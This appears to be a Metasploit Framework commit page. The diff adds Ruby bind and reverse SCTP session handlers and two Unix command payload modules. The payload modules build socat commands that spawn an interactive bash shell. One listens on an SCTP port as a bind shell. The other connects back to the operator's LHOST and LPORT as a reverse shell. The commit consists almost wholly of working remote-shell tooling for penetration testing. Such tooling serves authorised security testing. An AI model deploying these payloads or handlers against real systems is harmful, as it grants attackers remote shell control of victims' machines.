SCTP Sessions
With the introduction of SCTP socket support in Rex::Socket via https://github.com/rapid7/rex-socket/pull/56, Framework can utilize this protocol for session transports similarly to TCP as it is a stream-wise transport. Implement bind and reverse handlers for the new socket type. Implement example bind and reverse payloads using socat copying from the initial udp sessions implementation. Testing: Rudimentary bind session test against local Libvirt Linux VM Next steps: Implement the language-level payloads for the interpreters common to POSIX environments supporting SCTP. Implement meterpreter transports for SCTP in Python, PHP, Mettle, and Java modalities (Windows doesn't support it without carrying its own usermode protocol library).
This commit is contained in:
@@ -0,0 +1,199 @@
|
||||
# -*- coding: binary -*-
|
||||
module Msf
|
||||
module Handler
|
||||
|
||||
###
|
||||
#
|
||||
# This module implements the Bind SCTP handler. This means that
|
||||
# it will attempt to connect to a remote host on a given port for a period of
|
||||
# time (typically the duration of an exploit) to see if a the payload has
|
||||
# started listening. This can tend to be rather verbose in terms of traffic
|
||||
# and in general it is preferable to use reverse payloads.
|
||||
#
|
||||
###
|
||||
module BindSctp
|
||||
|
||||
include Msf::Handler
|
||||
|
||||
#
|
||||
# Returns the handler specific string representation, in this case
|
||||
# 'bind_sctp'.
|
||||
#
|
||||
def self.handler_type
|
||||
return "bind_sctp"
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the connection oriented general handler type, in this case bind.
|
||||
#
|
||||
def self.general_handler_type
|
||||
"bind"
|
||||
end
|
||||
|
||||
# A string suitable for displaying to the user
|
||||
#
|
||||
# @return [String]
|
||||
def human_name
|
||||
"bind SCTP"
|
||||
end
|
||||
|
||||
#
|
||||
# Initializes a bind handler and adds the options common to all bind
|
||||
# payloads, such as local port.
|
||||
#
|
||||
def initialize(info = {})
|
||||
super
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::LPORT(4444),
|
||||
OptAddress.new('RHOST', [false, 'The target address', '']),
|
||||
Opt::Proxies,
|
||||
Opt::CPORT,
|
||||
Opt::CHOST,
|
||||
], Msf::Handler::BindSctp)
|
||||
|
||||
self.conn_threads = []
|
||||
self.listener_threads = []
|
||||
self.listener_pairs = {}
|
||||
end
|
||||
|
||||
#
|
||||
# Kills off the connection threads if there are any hanging around.
|
||||
#
|
||||
def cleanup_handler
|
||||
# Kill any remaining handle_connection threads that might
|
||||
# be hanging around
|
||||
conn_threads.each { |thr|
|
||||
thr.kill
|
||||
}
|
||||
end
|
||||
|
||||
#
|
||||
# Starts a new connecting thread
|
||||
#
|
||||
def add_handler(opts={})
|
||||
|
||||
# Merge the updated datastore values
|
||||
opts.each_pair do |k,v|
|
||||
datastore[k] = v
|
||||
end
|
||||
|
||||
# Start a new handler
|
||||
start_handler
|
||||
end
|
||||
|
||||
#
|
||||
# Starts monitoring for an outbound connection to become established.
|
||||
#
|
||||
def start_handler
|
||||
|
||||
# Maximum number of seconds to run the handler
|
||||
ctimeout = 150
|
||||
|
||||
if (exploit_config and exploit_config['active_timeout'])
|
||||
ctimeout = exploit_config['active_timeout'].to_i
|
||||
end
|
||||
|
||||
# Take a copy of the datastore options
|
||||
rhost = datastore['RHOST']
|
||||
lport = datastore['LPORT']
|
||||
|
||||
# Ignore this if one of the required options is missing
|
||||
return if not rhost
|
||||
return if not lport
|
||||
|
||||
# Only try the same host/port combination once
|
||||
phash = rhost + ':' + lport.to_s
|
||||
return if self.listener_pairs[phash]
|
||||
self.listener_pairs[phash] = true
|
||||
|
||||
# Start a new handling thread
|
||||
self.listener_threads << framework.threads.spawn("BindSctpHandlerListener-#{lport}", false) {
|
||||
client = nil
|
||||
|
||||
print_status("Started #{human_name} handler against #{rhost}:#{lport}")
|
||||
|
||||
if (rhost == nil)
|
||||
raise ArgumentError,
|
||||
"RHOST is not defined; bind stager cannot function.",
|
||||
caller
|
||||
end
|
||||
|
||||
stime = Time.now.to_i
|
||||
|
||||
while (stime + ctimeout > Time.now.to_i)
|
||||
begin
|
||||
client = Rex::Socket::Sctp.create(
|
||||
'PeerHost' => rhost,
|
||||
'PeerPort' => lport.to_i,
|
||||
'Proxies' => datastore['Proxies'],
|
||||
'Context' =>
|
||||
{
|
||||
'Msf' => framework,
|
||||
'MsfPayload' => self,
|
||||
'MsfExploit' => assoc_exploit
|
||||
})
|
||||
rescue Rex::ConnectionError => e
|
||||
vprint_error(e.message)
|
||||
rescue
|
||||
wlog("Exception caught in bind handler: #{$!.class} #{$!}")
|
||||
end
|
||||
|
||||
break if client
|
||||
|
||||
# Wait a second before trying again
|
||||
Rex::ThreadSafe.sleep(0.5)
|
||||
end
|
||||
|
||||
# Valid client connection?
|
||||
if (client)
|
||||
# Increment the has connection counter
|
||||
self.pending_connections += 1
|
||||
|
||||
# Timeout and datastore options need to be passed through to the client
|
||||
opts = {
|
||||
:datastore => datastore,
|
||||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
||||
:retry_total => datastore['SessionRetryTotal'].to_i,
|
||||
:retry_wait => datastore['SessionRetryWait'].to_i
|
||||
}
|
||||
|
||||
# Start a new thread and pass the client connection
|
||||
# as the input and output pipe. Client's are expected
|
||||
# to implement the Stream interface.
|
||||
conn_threads << framework.threads.spawn("BindSctpHandlerSession", false, client) { |client_copy|
|
||||
begin
|
||||
handle_connection(client_copy, opts)
|
||||
rescue => e
|
||||
elog('Exception raised from BindSctp.handle_connection', error: e)
|
||||
end
|
||||
}
|
||||
else
|
||||
wlog("No connection received before the handler completed")
|
||||
end
|
||||
}
|
||||
end
|
||||
|
||||
#
|
||||
# Nothing to speak of.
|
||||
#
|
||||
def stop_handler
|
||||
# Stop the listener threads
|
||||
self.listener_threads.each do |t|
|
||||
t.kill
|
||||
end
|
||||
self.listener_threads = []
|
||||
self.listener_pairs = {}
|
||||
end
|
||||
|
||||
protected
|
||||
|
||||
attr_accessor :conn_threads # :nodoc:
|
||||
attr_accessor :listener_threads # :nodoc:
|
||||
attr_accessor :listener_pairs # :nodoc:
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,237 @@
|
||||
# -*- coding: binary -*-
|
||||
require 'rex/socket'
|
||||
require 'thread'
|
||||
|
||||
module Msf
|
||||
module Handler
|
||||
###
|
||||
#
|
||||
# This module implements the reverse SCTP handler. This means
|
||||
# that it listens on a port waiting for a connection until
|
||||
# either one is established or it is told to abort.
|
||||
#
|
||||
# This handler depends on having a local host and port to
|
||||
# listen on.
|
||||
#
|
||||
###
|
||||
module ReverseSctp
|
||||
include Msf::Handler
|
||||
include Msf::Handler::Reverse
|
||||
include Msf::Handler::Reverse::Comm
|
||||
|
||||
#
|
||||
# Returns the string representation of the handler type, in this case
|
||||
# 'reverse_sctp'.
|
||||
#
|
||||
def self.handler_type
|
||||
"reverse_sctp"
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the connection-described general handler type, in this case
|
||||
# 'reverse'.
|
||||
#
|
||||
def self.general_handler_type
|
||||
"reverse"
|
||||
end
|
||||
|
||||
#
|
||||
# Initializes the reverse SCTP handler and ads the options that are required
|
||||
# for all reverse SCTP payloads, like local host and local port.
|
||||
#
|
||||
def initialize(info = {})
|
||||
super
|
||||
|
||||
# XXX: Not supported by all modules
|
||||
register_advanced_options(
|
||||
[
|
||||
OptAddress.new(
|
||||
'ReverseListenerBindAddress',
|
||||
[ false, 'The specific IP address to bind to on the local system' ]
|
||||
),
|
||||
OptBool.new(
|
||||
'ReverseListenerThreaded',
|
||||
[ true, 'Handle every connection in a new thread (experimental)', false ]
|
||||
)
|
||||
] +
|
||||
Msf::Opt::stager_retry_options,
|
||||
Msf::Handler::ReverseSctp
|
||||
)
|
||||
|
||||
self.conn_threads = []
|
||||
end
|
||||
|
||||
def setup_handler
|
||||
if !datastore['Proxies'].blank? && !datastore['ReverseAllowProxy']
|
||||
raise RuntimeError, "SCTP connect-back payloads cannot be used with Proxies. Use 'set ReverseAllowProxy true' to override this behaviour."
|
||||
end
|
||||
|
||||
ex = false
|
||||
|
||||
comm = select_comm
|
||||
local_port = bind_port
|
||||
|
||||
bind_addresses.each do |ip|
|
||||
begin
|
||||
self.listener_sock = Rex::Socket::SctpServer.create(
|
||||
'LocalHost' => ip,
|
||||
'LocalPort' => local_port,
|
||||
'Comm' => comm,
|
||||
'Context' =>
|
||||
{
|
||||
'Msf' => framework,
|
||||
'MsfPayload' => self,
|
||||
'MsfExploit' => assoc_exploit
|
||||
})
|
||||
rescue
|
||||
ex = $!
|
||||
print_error("Handler failed to bind to #{ip}:#{local_port}:- #{comm} -")
|
||||
else
|
||||
ex = false
|
||||
via = via_string(self.listener_sock.client) if self.listener_sock.respond_to?(:client)
|
||||
print_status("Started #{human_name} handler on #{ip}:#{local_port} #{via}")
|
||||
break
|
||||
end
|
||||
end
|
||||
raise ex if (ex)
|
||||
end
|
||||
#
|
||||
# Closes the listener socket if one was created.
|
||||
#
|
||||
def cleanup_handler
|
||||
stop_handler
|
||||
|
||||
# Kill any remaining handle_connection threads that might
|
||||
# be hanging around
|
||||
conn_threads.each do |thr|
|
||||
begin
|
||||
thr.kill
|
||||
rescue
|
||||
nil
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# A string suitable for displaying to the user
|
||||
#
|
||||
# @return [String]
|
||||
def human_name
|
||||
"reverse SCTP"
|
||||
end
|
||||
|
||||
# A URI describing what the payload is configured to use for transport
|
||||
def payload_uri
|
||||
addr = datastore['LHOST']
|
||||
uri_host = Rex::Socket.is_ipv6?(addr) ? "[#{addr}]" : addr
|
||||
"sctp://#{uri_host}:#{datastore['LPORT']}"
|
||||
end
|
||||
|
||||
def comm_string
|
||||
if listener_sock.nil?
|
||||
"(setting up)"
|
||||
else
|
||||
via_string(listener_sock.client) if listener_sock.respond_to?(:client)
|
||||
end
|
||||
end
|
||||
|
||||
# A URI describing where we are listening
|
||||
#
|
||||
# @param addr [String] the address that
|
||||
# @return [String] A URI of the form +scheme://host:port/+
|
||||
def listener_uri(addr = datastore['ReverseListenerBindAddress'])
|
||||
addr = datastore['LHOST'] if addr.nil? || addr.empty?
|
||||
uri_host = Rex::Socket.is_ipv6?(addr) ? "[#{addr}]" : addr
|
||||
"sctp://#{uri_host}:#{bind_port}"
|
||||
end
|
||||
|
||||
#
|
||||
# Starts monitoring for an inbound connection.
|
||||
#
|
||||
def start_handler
|
||||
queue = ::Queue.new
|
||||
|
||||
local_port = bind_port
|
||||
|
||||
handler_name = "ReverseSctpHandlerListener-#{local_port}"
|
||||
self.listener_thread = framework.threads.spawn(handler_name, false, queue) { |lqueue|
|
||||
loop do
|
||||
# Accept a client connection
|
||||
begin
|
||||
client = listener_sock.accept
|
||||
if client
|
||||
self.pending_connections += 1
|
||||
lqueue.push(client)
|
||||
end
|
||||
rescue Errno::ENOTCONN
|
||||
nil
|
||||
rescue StandardError => e
|
||||
wlog [
|
||||
"#{handler_name}: Exception raised during listener accept: #{e.class}",
|
||||
$ERROR_INFO.to_s,
|
||||
$ERROR_POSITION.join("\n")
|
||||
].join("\n")
|
||||
end
|
||||
end
|
||||
}
|
||||
|
||||
worker_name = "ReverseSctpHandlerWorker-#{local_port}"
|
||||
self.handler_thread = framework.threads.spawn(worker_name, false, queue) { |cqueue|
|
||||
loop do
|
||||
begin
|
||||
client = cqueue.pop
|
||||
|
||||
unless client
|
||||
elog("#{worker_name}: Queue returned an empty result, exiting...")
|
||||
end
|
||||
|
||||
# Timeout and datastore options need to be passed through to the client
|
||||
opts = {
|
||||
datastore: datastore,
|
||||
expiration: datastore['SessionExpirationTimeout'].to_i,
|
||||
comm_timeout: datastore['SessionCommunicationTimeout'].to_i,
|
||||
retry_total: datastore['SessionRetryTotal'].to_i,
|
||||
retry_wait: datastore['SessionRetryWait'].to_i
|
||||
}
|
||||
|
||||
if datastore['ReverseListenerThreaded']
|
||||
thread_name = "#{worker_name}-#{client.peerhost}"
|
||||
conn_threads << framework.threads.spawn(thread_name, false, client) do |client_copy|
|
||||
handle_connection(client_copy, opts)
|
||||
end
|
||||
else
|
||||
handle_connection(client, opts)
|
||||
end
|
||||
rescue StandardError => e
|
||||
elog('Exception raised from handle_connection', error: e)
|
||||
end
|
||||
end
|
||||
}
|
||||
end
|
||||
|
||||
#
|
||||
# Stops monitoring for an inbound connection.
|
||||
#
|
||||
def stop_handler
|
||||
# Terminate the listener thread
|
||||
listener_thread.kill if listener_thread && listener_thread.alive? == true
|
||||
|
||||
# Terminate the handler thread
|
||||
handler_thread.kill if handler_thread && handler_thread.alive? == true
|
||||
|
||||
begin
|
||||
listener_sock.close if listener_sock
|
||||
rescue IOError
|
||||
# Ignore if it's listening on a dead session
|
||||
dlog("IOError closing listener sock; listening on dead session?", LEV_1)
|
||||
end
|
||||
end
|
||||
|
||||
protected
|
||||
|
||||
attr_accessor :listener_sock # :nodoc:
|
||||
attr_accessor :listener_thread # :nodoc:
|
||||
attr_accessor :handler_thread # :nodoc:
|
||||
attr_accessor :conn_threads # :nodoc:
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,49 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 70
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::CommandShellOptions
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Unix Command Shell, Bind SCTP (via socat)',
|
||||
'Description' => 'Creates an interactive shell via socat',
|
||||
'Author' => 'RageLtMan <rageltman[at]sempervictus>',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Handler' => Msf::Handler::BindSctp,
|
||||
'Session' => Msf::Sessions::CommandShell,
|
||||
'PayloadType' => 'cmd',
|
||||
'RequiredCmd' => 'socat',
|
||||
'Payload' =>
|
||||
{
|
||||
'Offsets' => { },
|
||||
'Payload' => ''
|
||||
}
|
||||
))
|
||||
end
|
||||
|
||||
#
|
||||
# Constructs the payload
|
||||
#
|
||||
def generate(_opts = {})
|
||||
vprint_good(command_string)
|
||||
return super + command_string
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the command string to use for execution
|
||||
#
|
||||
def command_string
|
||||
"socat sctp-listen:#{datastore['LPORT']} exec:'bash -li',pty,stderr,sane 2>&1>/dev/null &"
|
||||
end
|
||||
|
||||
end
|
||||
@@ -0,0 +1,49 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 87
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::CommandShellOptions
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Unix Command Shell, Reverse SCTP (via socat)',
|
||||
'Description' => 'Creates an interactive shell via socat',
|
||||
'Author' => 'RageLtMan <rageltman[at]sempervictus>',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Handler' => Msf::Handler::ReverseSctp,
|
||||
'Session' => Msf::Sessions::CommandShell,
|
||||
'PayloadType' => 'cmd',
|
||||
'RequiredCmd' => 'socat',
|
||||
'Payload' =>
|
||||
{
|
||||
'Offsets' => { },
|
||||
'Payload' => ''
|
||||
}
|
||||
))
|
||||
end
|
||||
|
||||
#
|
||||
# Constructs the payload
|
||||
#
|
||||
def generate(_opts = {})
|
||||
vprint_good(command_string)
|
||||
return super + command_string
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the command string to use for execution
|
||||
#
|
||||
def command_string
|
||||
"socat sctp-connect:#{datastore['LHOST']}:#{datastore['LPORT']} exec:'bash -li',pty,stderr,sane 2>&1>/dev/null &"
|
||||
end
|
||||
|
||||
end
|
||||
Reference in New Issue
Block a user